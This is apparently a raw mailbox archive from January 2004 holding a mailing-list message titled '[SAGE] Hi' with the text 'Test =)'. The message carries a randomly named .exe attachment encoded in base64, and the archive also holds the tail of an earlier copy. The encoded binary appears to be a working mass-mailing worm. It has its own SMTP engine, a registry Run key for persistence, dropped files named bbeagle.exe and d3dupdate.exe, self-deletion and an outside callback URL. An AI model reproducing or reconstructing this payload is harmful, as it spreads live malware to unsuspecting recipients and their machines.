LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------104413332762038-- From sage-members-owner@usenix.org Tue Jan 20 10:35:04 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0KIZ3Nn022493 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Jan 2004 10:35:04 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0KIZ2Cx022491 for sage-members-outgoing; Tue, 20 Jan 2004 10:35:02 -0800 (PST) Date: Tue, 20 Jan 2004 20:34:32 +0200 To: sage-members@sage.org Subject: [SAGE] Hi From: trey@sage.org Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------467511343718461" Sender: owner-sage-members@usenix.org Precedence: bulk ----------467511343718461 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) wmlyxdscreutqksf -- Test, yep. ----------467511343718461 Content-Type: application/x-msdownload; name="gskmucw.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="nlymwiuehl.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 